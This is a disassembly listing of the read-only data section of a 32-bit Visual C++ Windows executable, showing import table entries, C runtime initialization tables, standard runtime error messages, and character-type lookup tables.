assume cs:_rdata
;org 41D000h
dword_41D000 dd 77DD5C55h ; DATA XREF: sub_416F32+39r
dword_41D004 dd 77DD590Bh ; DATA XREF: sub_416E5F+1Dr
; sub_416F32+1Br
dword_41D008 dd 77DD23D7h ; DATA XREF: sub_416ECD+31r
dword_41D00C dd 77DD59F0h ; DATA XREF: sub_416E5F+52r
dword_41D010 dd 77DD189Ah ; DATA XREF: sub_416E5F+2Ar
; sub_416E5F+60r ...
dword_41D014 dd 77DDA595h ; DATA XREF: sub_419835+3Cr
dword_41D018 dd 77DD81E3h ; DATA XREF: sub_419C6D+A5r
; sub_419C6D+1B6r
dword_41D01C dd 77DE1291h ; DATA XREF: sub_419760+82r
dword_41D020 dd 77DD7F3Eh ; DATA XREF: sub_419A9F+132r
dword_41D024 dd 77DDA20Bh ; DATA XREF: sub_419C1D+Cr
dword_41D028 dd 77E2B9D2h ; DATA XREF: sub_419760+24r
dword_41D02C dd 77DD22EAh ; DATA XREF: sub_416ECD+14r
; sub_419A9F+90r ...
dword_41D030 dd 77DE7B47h ; DATA XREF: sub_419EA0+299r
dword_41D034 dd 77DF7311h ; DATA XREF: sub_419835+19r
dword_41D038 dd 77DD5CF6h ; DATA XREF: sub_419EA0+27Dr
dword_41D03C dd 77E2C1B3h ; DATA XREF: sub_419C1D+2Er
dword_41D040 dd 77DDAB2Fh ; DATA XREF: sub_419C1D+3Br
dword_41D044 dd 77DE801Bh ; DATA XREF: sub_419C1D+1Er
dword_41D048 dd 77DDACABh ; DATA XREF: sub_401CC0+110r
align 10h
dword_41D050 dd 77E75CB5h ; DATA XREF: ___crtExitProcess+Er
; sub_419477+168r ...
dword_41D054 dd 77E7513Ch ; DATA XREF: ___ansicp+22r
; sub_418E1F+29r
dword_41D058 dd 77E802FCh ; DATA XREF: ___security_init_cookie+5Dr
; sub_418DA0+Br
dword_41D05C dd 77E61BB8h ; DATA XREF: sub_419219+8Br
dword_41D060 dd 77E7A099h ; DATA XREF: __NMSG_WRITE+99r
; __setargv+2Ar ...
dword_41D064 dd 77E6D75Bh ; DATA XREF: sub_418DA0+19r
dword_41D068 dd 77E7C657h ; DATA XREF: ___tmainCRTStartup+4Er
; sub_418E51+24r ...
dword_41D06C dd 77E7A837h ; DATA XREF: __tsopen_nolock+234r
; ___initconout+13r ...
dword_41D070 dd 77E793EFh ; DATA XREF: sub_418552+31Er
dword_41D074 dd 77E78C81h ; DATA XREF: __lseeki64_nolock+40r
; __lseek_nolock+2Dr ...
dword_41D078 dd 77E78B82h ; DATA XREF: __read_nolock+17Fr
; __read_nolock+2A3r ...
dword_41D07C dd 77E79D5Bh ; DATA XREF: sub_4140AB+5Er
; .text:0041B0ABr ...
dword_41D080 dd 77E6BD13h ; DATA XREF: .text:0041BD99r
dword_41D084 dd 77E7C2C4h ; DATA XREF: .text:0041BED8r
dword_41D088 dd 77E79D8Ch ; DATA XREF: __NMSG_WRITE+194r
; __write_nolock+212r ...
dword_41D08C dd 77E73C49h ; DATA XREF: sub_41B3D0+20r
; sub_41B5D2+43r
dword_41D090 dd 77E72E92h ; DATA XREF: __invoke_watson+AAr
; ___report_gsfailure+B9r ...
dword_41D094 dd 77E75CEBh ; DATA XREF: sub_414023+8r
dword_41D098 dd 77E76C1Ah ; DATA XREF: sub_401CC0+B3r
dword_41D09C dd 77E737DEh ; DATA XREF: .text:0041B01Dr
dword_41D0A0 dd 77E77CCEh ; DATA XREF: __read_nolock+3E7r
; unknown_libname_111:loc_40C004r ...
dword_41D0A4 dd 77E74672h ; DATA XREF: sub_41A5C1+2C3r
dword_41D0A8 dd 77E70192h ; DATA XREF: __chsize_nolock+14Cr
dword_41D0AC dd 77E76052h ; DATA XREF: __putwch_nolock+45r
dword_41D0B0 dd 77E795BFh ; DATA XREF: __putwch_nolock+78r
dword_41D0B4 dd 77E99078h ; DATA XREF: __putwch_nolock+9Br
dword_41D0B8 dd 77E73FF9h ; DATA XREF: __commit+8Cr
dword_41D0BC dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_40ECD3r
; __free_osfhnd:loc_40ED54r
dword_41D0C0 dd 77E79824h ; DATA XREF: sub_4195EC+39r
dword_41D0C4 dd 77E7C4B7h ; DATA XREF: sub_4195EC+50r
dword_41D0C8 dd 77E79E4Bh ; DATA XREF: sub_4195EC+6Fr
dword_41D0CC dd 77E79C90h ; DATA XREF: __invoke_watson+D9r
; ___report_gsfailure+F5r ...
dword_41D0D0 dd 77E73628h ; DATA XREF: sub_419E55+20r
; .text:0041BE71r
dword_41D0D4 dd 77E6E154h ; DATA XREF: sub_419948+3Br
dword_41D0D8 dd 77E98BD8h ; DATA XREF: sub_4199AC+3Br
dword_41D0DC dd 77E77963h ; DATA XREF: __close_nolock+4Br
; __tsopen_nolock+29Cr ...
dword_41D0E0 dd 77E77CC4h ; DATA XREF: __getptd_noexit+60r
; __mtinit+169r ...
dword_41D0E4 dd 77E79F93h ; DATA XREF: __encode_pointer+39r
; __decode_pointer+39r ...
dword_41D0E8 dd 77E805D8h ; DATA XREF: sub_40F524+2Dr
; sub_419677+30r ...
dword_41D0EC dd 77E7A5FDh ; DATA XREF: __encode_pointer+49r
; __decode_pointer+49r ...
dword_41D0F0 dd 77F5157Dh ; DATA XREF: _free+79r
; __getptd_noexit+2r ...
dword_41D0F4 dd 77E704FCh ; DATA XREF: sub_401CC0+11Fr
; sub_416F86+D1r ...
dword_41D0F8 dd 77E616B4h ; DATA XREF: __invoke_watson+E0r
; ___report_gsfailure+FCr ...
dword_41D0FC dd 77E61BE6h ; DATA XREF: unknown_libname_53+1Dr
; unknown_libname_55+25r ...
dword_41D100 dd 77E77CB7h ; DATA XREF: ___tmainCRTStartup+29r
; __chsize_nolock+67r ...
dword_41D104 dd 77E73163h ; DATA XREF: sub_419EA0:loc_41A108r
dword_41D108 dd 77E7751Ah ; DATA XREF: ___security_init_cookie+51r
; sub_41748B+36r ...
dword_41D10C dd 77F51597h ; DATA XREF: _free+68r
; ___tmainCRTStartup+5Er ...
dword_41D110 dd 77E7AC37h ; DATA XREF: sub_4140AB+1Cr
; sub_41B5D2+161r
dword_41D114 dd 77F516F8h ; DATA XREF: _malloc+Fr
; ___tmainCRTStartup+32r ...
dword_41D118 dd 77E79540h ; DATA XREF: __write_nolock+11Dr
dword_41D11C dd 77EC80CCh ; DATA XREF: __write_nolock:loc_40CF93r
dword_41D120 dd 77E79908h ; DATA XREF: __crtInitCritSecNoSpinCount(x,x)+4r
dword_41D124 dd 77E7C866h ; DATA XREF: __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+2Dr
; __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+11Cr
dword_41D128 dd 77E641EBh ; DATA XREF: __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+191r
dword_41D12C dd 77E781F9h ; DATA XREF: unknown_libname_111+30r
; unknown_libname_111+144r ...
dword_41D130 dd 77E77405h ; DATA XREF: unknown_libname_111+294r
; unknown_libname_111+365r
dword_41D134 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+Br
dword_41D138 dd 77E79924h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_40AF87r
; unknown_libname_111+216r ...
dword_41D13C dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CCr
dword_41D140 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_40AFEBr
dword_41D144 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+10Fr
; ___crtGetEnvironmentStringsA+126r
dword_41D148 dd 77E78406h ; DATA XREF: __ioinit+12Br
; __ioinit+1C7r ...
dword_41D14C dd 77E79C3Dh ; DATA XREF: __ioinit+1B5r
; __NMSG_WRITE+169r
dword_41D150 dd 77E7C931h ; DATA XREF: __ioinit+21Fr
dword_41D154 dd 77F5722Fh ; DATA XREF: ___sbh_alloc_new_region+27r
; _realloc+134r ...
dword_41D158 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+77r
; ___sbh_alloc_new_group+52r
dword_41D15C dd 77E79E34h ; DATA XREF: ___sbh_free_block+22Fr
dword_41D160 dd 77E7C726h ; DATA XREF: __heap_init+11r
dword_41D164 dd 77E76E0Bh ; DATA XREF: __heap_init+47r
dword_41D168 dd 77F7E21Fh ; DATA XREF: __lock+28r
; __lock_file+28r ...
dword_41D16C dd 77F7E300h ; DATA XREF: __unlock+Dr
; __unlock_file+28r ...
dword_41D170 dd 77F53275h ; DATA XREF: __mtdeletelocks+1r
; __fcloseall+62r
dword_41D174 dd 77F51587h ; DATA XREF: __getptd_noexit+78r
; ___crtInitCritSecAndSpinCount+ABr
dword_41D178 dd 77E72B29h ; DATA XREF: __mtterm+2Br __mtinit+85r
dword_41D17C dd 77E79B39h ; DATA XREF: ___set_flsgetvalue+23r
; __mtinit+58r
dword_41D180 dd 77E7C5B4h ; DATA XREF: sub_4051F6r
; __mtinit:loc_405575r
dword_41D184 dd 77E78B61h ; DATA XREF: __encode_pointer+7r
; __decode_pointer+7r ...
dword_41D188 dd 77E6C703h ; DATA XREF: getSystemCP(int)+27r
dword_41D18C dd 77E7A13Fh ; DATA XREF: getSystemCP(int)+4Ar
dword_41D190 dd 77F522F2h ; DATA XREF: __msize+82r
dword_41D194 dd 77E80656h ; DATA XREF: sub_402AE8r
; ___security_init_cookie+41r
dword_41D198 dd 77EB9A84h ; DATA XREF: __invoke_watson+BEr
; ___report_gsfailure+D9r ...
dword_41D19C dd 77E7C9E7h ; DATA XREF: __invoke_watson+B4r
; ___report_gsfailure+CEr ...
dword_41D1A0 dd 77E6167Bh ; DATA XREF: __time64+9r
; ___security_init_cookie+35r
dword_41D1A4 dd 77E7C938h ; DATA XREF: ___tmainCRTStartup:loc_404045r
dword_41D1A8 dd 77E6177Ah ; DATA XREF: ___tmainCRTStartup+14r
; __ioinit+15r
dword_41D1AC dd 77E6D706h ; DATA XREF: _CxxThrowException(x,x)+40r
; __raise_exc_ex+222r
dword_41D1B0 dd 77F6183Eh ; DATA XREF: sub_413976r
dword_41D1B4 dd 77E7849Fh ; DATA XREF: setSBUpLow(threadmbcinfostruct *)+24r
; __setmbcp_nolock+56r ...
dword_41D1B8 dd 77E777EFh ; DATA XREF: ___updatetmbcinfo+84r
; __setmbcp+95r ...
dword_41D1BC dd 77E778C5h ; DATA XREF: ___updatetmbcinfo+59r
; __setmbcp+76r ...
dd 0
dword_41D1C4 dd 71B2ACCBh ; DATA XREF: sub_402642r
dd 0
dword_41D1CC dd 1F7CD927h ; DATA XREF: sub_40263Cr
dword_41D1D0 dd 1F7CB8F8h ; DATA XREF: sub_402636r
dword_41D1D4 dd 1F7CD214h ; DATA XREF: sub_402630r
dword_41D1D8 dd 1F7D886Ah ; DATA XREF: sub_40262Ar
dword_41D1DC dd 1F7BA3A9h ; DATA XREF: sub_402624r
dd 0
dword_41D1E4 dd 77428B97h ; DATA XREF: sub_4190BD+148r
; sub_41B925+1E3r
dd 0
dword_41D1EC dd 77D46349h ; DATA XREF: sub_41748B+30r
dword_41D1F0 dd 77D4DCCCh ; DATA XREF: sub_418C40+67r
dword_41D1F4 dd 77D4A102h ; DATA XREF: sub_418C40+Cr
dword_41D1F8 dd 77D43DD3h ; DATA XREF: sub_418C40+B1r
dword_41D1FC dd 77D414D4h ; DATA XREF: sub_418C40+94r
dword_41D200 dd 77D46F5Bh ; DATA XREF: sub_418AEB+Dr
dword_41D204 dd 77D441F2h ; DATA XREF: sub_418C40+BBr
dword_41D208 dd 77D44200h ; DATA XREF: sub_418C40+A5r
dword_41D20C dd 77D47EE5h ; DATA XREF: sub_418C40+4Ar
dd 0
dword_41D214 dd 7620BD61h ; DATA XREF: sub_41B925+EBr
dword_41D218 dd 76214750h ; DATA XREF: sub_41B925+7Dr
dword_41D21C dd 7620AFB6h ; DATA XREF: sub_41B925+39r
dd 0
dword_41D224 dd 71AB1A6Dh ; DATA XREF: sub_41397C+98r
; sub_417F01+117r ...
dword_41D228 dd 71AB1AF4h ; DATA XREF: sub_4172CC+7Dr
; sub_417361+116r ...
dword_41D22C dd 71AB60C9h ; DATA XREF: sub_418B1F+FAr
dword_41D230 dd 71AB5DE2h ; DATA XREF: sub_418B1F+10Cr
dword_41D234 dd 71AB868Dh ; DATA XREF: sub_41835D+1Ar
dword_41D238 dd 71AB157Eh ; DATA XREF: sub_418FC6+34r
dword_41D23C dd 71AB2BBFh ; DATA XREF: sub_41802F+7Br
dword_41D240 dd 71AB3E5Dh ; DATA XREF: sub_41397C+78r
; sub_41802F+DFr ...
dword_41D244 dd 71AB1836h ; DATA XREF: .text:loc_41C056r
dword_41D248 dd 71ABF628h ; DATA XREF: sub_418552+4C9r
dword_41D24C dd 71AB1ED3h ; DATA XREF: sub_41B3D0+F7r
dword_41D250 dd 71AB3F8Dh ; DATA XREF: sub_41B5D2+58r
dword_41D254 dd 71AB1746h ; DATA XREF: sub_41B3D0+131r
; sub_41B3D0+147r ...
dword_41D258 dd 71AB1890h ; DATA XREF: sub_41397C+8Fr
; sub_41B5D2+F4r
dword_41D25C dd 71AB1444h ; DATA XREF: sub_41B3D0+11Cr
; sub_41B5D2+12Cr
dword_41D260 dd 71AB401Ch ; DATA XREF: .text:0041AA1Ar
; .text:0041B14Dr ...
dword_41D264 dd 71AB12F8h ; DATA XREF: sub_401E82+37r
dword_41D268 dd 71AB155Ah ; DATA XREF: sub_41397C+54r
dword_41D26C dd 71AB3ECEh ; DATA XREF: sub_418B1F+D7r
; sub_41B5D2+9Er
dword_41D270 dd 71AB5690h ; DATA XREF: sub_417F01+51r
; sub_418552+85r
dword_41D274 dd 71AB41DAh ; DATA XREF: .text:0041BF9Cr
dword_41D278 dd 71AB1746h ; DATA XREF: sub_41397C+34r
; sub_41802F+C7r ...
dword_41D27C dd 71AB3C22h ; DATA XREF: sub_41397C+20r
; sub_41802F+2Fr ...
dword_41D280 dd 71ABD755h ; DATA XREF: sub_401E82+48r
; sub_418552+4F9r
align 8
dword_41D288 dd 0 ; DATA XREF: __cinit+49o
dd offset sub_41C370
dd offset loc_41C38D
dd offset loc_41C3AA
dd offset loc_41C3C6
dd offset loc_41C3E2
dd offset loc_41C3FE
dd offset loc_41C41A
dd offset loc_41C436
dd offset loc_41C444
dd offset loc_41C460
dd offset loc_41C47C
dword_41D2B8 dd 0 ; DATA XREF: __cinit+50o
dword_41D2BC dd 0 ; DATA XREF: __cinit+2Do
dd offset ___onexitinit
dd offset ___initmbctable
dd offset ___initstdio
dd offset __sse2_mathfcns_init
dd offset sub_40F839
dd offset $LN9_2 ; ?__CxxSetUnhandledExceptionFilter@@YAHXZ
dword_41D2D8 dd 0 ; DATA XREF: __cinit+28o
dword_41D2DC dd 0 ; DATA XREF: _doexit+73o
dd offset ___termcon
dd offset ___endstdio
dword_41D2E8 dd 0 ; DATA XREF: _doexit:loc_407A79o
dword_41D2EC dd 0 ; DATA XREF: _doexit+83o
dd offset ?__CxxRestoreUnhandledExceptionFilter@@YAXXZ ; __CxxRestoreUnhandledExceptionFilter(void)
dword_41D2F4 dd 3 dup(0) ; DATA XREF: _doexit:loc_407A89o
aBadAllocation db 'bad allocation',0 ; DATA XREF: .data:00423000o
; .data:00423004o ...
align 10h
dd offset dword_420F64
off_41D314 dd offset sub_401043 ; DATA XREF: sub_401038o sub_401043+3o ...
dd offset unknown_libname_7 ; Microsoft VisualC 2-8/net runtime
dd offset dword_420F18
off_41D320 dd offset sub_4010C5 ; DATA XREF: sub_401065+20o
; sub_40109A+Ao ...
dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
dd offset dword_420EC8
off_41D32C dd offset sub_4010EC ; DATA XREF: sub_4010E1o sub_4010EC+3o ...
dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
dd offset dword_420D88
off_41D338 dd offset sub_402658 ; DATA XREF: sub_40264Do sub_402658+3o ...
dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
aStringTooLong db 'string too long',0 ; DATA XREF: sub_40267A+Co
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4026B9+Co
dd offset dword_420DD8
off_41D36C dd offset sub_402CED ; DATA XREF: sub_402BFB+Ao
; std::exception::exception(char const * const &)+9o ...
dd offset unknown_libname_7 ; Microsoft VisualC 2-8/net runtime
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_7+7o
align 4
dd offset dword_420DEC
off_41D38C dd offset sub_402FFB ; DATA XREF: sub_402FED+1o
; .data:off_423008o ...
oword_41D390 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: _ceil+E3r
; _ceil+10Ar
oword_41D3A0 xmmword 4330000000000000433h ; DATA XREF: _ceil+46r
oword_41D3B0 xmmword 0 ; DATA XREF: _ceil:ret_oner
oword_41D3C0 xmmword 7FFh ; DATA XREF: _ceil+5Fr
dbl_41D3D0 db 0, 0, 0, 0, 0, 0, 0, 80h ; DATA XREF: _ceil:ret_zeror
dword_41D3D8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo
dd 3, 19930520h, 2 dup(0)
off_41D3F8 dd offset dword_425AA0 ; DATA XREF: ___report_gsfailure+D4o
dd offset dword_425AF8
dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
dd 7C7B7A79h, 7F7E7Dh
byte_41D480 db 3Dh, 0 ; DATA XREF: .rdata:0041EB90o
word_41D482 dw 0 ; DATA XREF: __wincmdln+1Bo
; .rdata:0041EB70o ...
aEncodepointer db 'EncodePointer',0 ; DATA XREF: __encode_pointer+43o
; __initptd+2Eo
align 4
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: __encode_pointer:loc_40515Bo
; __decode_pointer:loc_4051C7o ...
align 4
aDecodepointer db 'DecodePointer',0 ; DATA XREF: __decode_pointer+43o
; __initptd+42o
align 4
aFlsfree db 'FlsFree',0 ; DATA XREF: __mtinit+44o
aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: __mtinit+37o
aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: __mtinit+2Ao
aFlsalloc db 'FlsAlloc',0 ; DATA XREF: __mtinit+22o
align 10h
aNull_0: ; DATA XREF: .data:off_423928o
unicode 0, <(null)>,0
align 10h
aNull db '(null)',0 ; DATA XREF: .data:Stro
align 4
byte_41D4F8 db 6 ; DATA XREF: __output_l:loc_406B60r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38202800h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707800h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: ___crtCorExitProcess+Fo
align 4
aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: ___crtCorExitProcesso
; char aCcs[]
aCcs db 'ccs=',0 ; DATA XREF: __openfile+1CCo
align 4
; unsigned __int8 aUtf8
aUtf8 db 'UTF-8',0 ; DATA XREF: __openfile+1E0o
align 10h
; unsigned __int8 aUtf16le
aUtf16le db 'UTF-16LE',0 ; DATA XREF: __openfile:loc_4083FCo
align 4
; unsigned __int8 aUnicode
aUnicode db 'UNICODE',0 ; DATA XREF: __openfile:loc_408419o
aRuntimeError db 'runtime error ',0
align 4
db 0Dh,0Ah,0
align 4
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 4
aSingError db 'SING error',0Dh,0Ah,0
align 4
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 4
aR6034AnApplica db 'R6034',0Dh,0Ah
db 'An application has made an attempt to load the C runtime library '
db 'incorrectly.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 8
aR6033AttemptTo db 'R6033',0Dh,0Ah
db '- Attempt to use MSIL code from this assembly during native code '
db 'initialization',0Ah
db 'This indicates a bug in your application. It is most likely the r'
db 'esult of calling an MSIL-compiled (/clr) function from a native c'
db 'onstructor or from DllMain.',0Dh,0Ah,0
align 10h
aR6032NotEnough db 'R6032',0Dh,0Ah
db '- not enough space for locale information',0Dh,0Ah,0
align 8
aR6031AttemptTo db 'R6031',0Dh,0Ah
db '- Attempt to initialize the CRT more than once.',0Ah
db 'This indicates a bug in your application.',0Dh,0Ah,0
align 4
aR6030CrtNotIni db 'R6030',0Dh,0Ah
db '- CRT not initialized',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 10h
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_423C04o
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+157o
align 10h
; char asc_41DB10[]
asc_41DB10 db 0Ah ; DATA XREF: __NMSG_WRITE:loc_409BC4o
db 0Ah,0
align 4
; char a___[]
a___ db '...',0 ; DATA XREF: __NMSG_WRITE+E8o
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+A3o
align 10h
; char Src[]
Src db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+5Bo
db 0Ah
db 'Program: ',0
align 4
dd 2 dup(0)
dd 7FF00000h, 0
dd 0FFF00000h, 0
dd 7FE00000h, 0
dd 200000h, 3 dup(0)
dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h, 0FFC00000h
dd 0
dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h, 8DA24260h
dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
dword_41DBB8 dd 6E6174h ; DATA XREF: ___libm_error_support:$LN2o
dword_41DBBC dd 736F63h ; DATA XREF: ___libm_error_support:$LN4o
dword_41DBC0 dd 6E6973h ; DATA XREF: ___libm_error_support:$LN6_0o
aModf db 'modf',0 ; DATA XREF: ___libm_error_support:$LN12_3o
align 4
aFloor db 'floor',0 ; DATA XREF: ___libm_error_support:$LN16_2o
align 4
aCeil db 'ceil',0 ; DATA XREF: ___libm_error_support:$LN18_3o
align 4
aAtan db 'atan',0 ; DATA XREF: ___libm_error_support:$LN20_3o
align 4
aExp10 db 'exp10',0 ; DATA XREF: ___libm_error_support+1BFo
align 10h
dbl_41DBF0 dq 1.0 ; DATA XREF: __floor_default+6Dr
aAcos db 'acos',0 ; DATA XREF: ___libm_error_support:$LN30o
align 10h
aAsin db 'asin',0 ; DATA XREF: ___libm_error_support:$LN8_3o
align 4
aLog db 'log',0 ; DATA XREF: ___libm_error_support:loc_40A568o
; ___libm_error_support+149o ...
aLog10 db 'log10',0 ; DATA XREF: ___libm_error_support:loc_40A541o
; ___libm_error_support+131o ...
align 4
aExp db 'exp',0 ; DATA XREF: ___libm_error_support:loc_40A508o
; ___libm_error_support+10Do ...
aPow db 'pow',0 ; DATA XREF: ___libm_error_support:loc_40A4D3o
; ___libm_error_support:loc_40A580o ...
off_41DC1C dd offset ___DestructExceptionObject ; DATA XREF: __except_handler4+F1r
; __except_handler4+FAo ...
dd offset dword_420E34
off_41DC24 dd offset sub_40B1DA ; DATA XREF: sub_40B1CFo sub_40B1DA+3o ...
dd offset unknown_libname_7 ; Microsoft VisualC 2-8/net runtime
aBadException db 'bad exception',0 ; DATA XREF: unknown_libname_104+156o
align 4
dword_41DC3C dd 41h dup(0) ; DATA XREF: unknown_libname_111+25o
; __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+27o
asc_41DD40: ; DATA XREF: .data:off_423668o
; .data:00423E70o
unicode 0, < ((((( H>
dw 10h
dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
dd 100010h, 200010h, 40h dup(0)
dword_41DF40 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
; DATA XREF: .data:00423E74o
; .data:00423590o
dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h)
dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h)
dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h)
dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h)
dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h
dd 0
dword_41E148 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h
dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch
dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
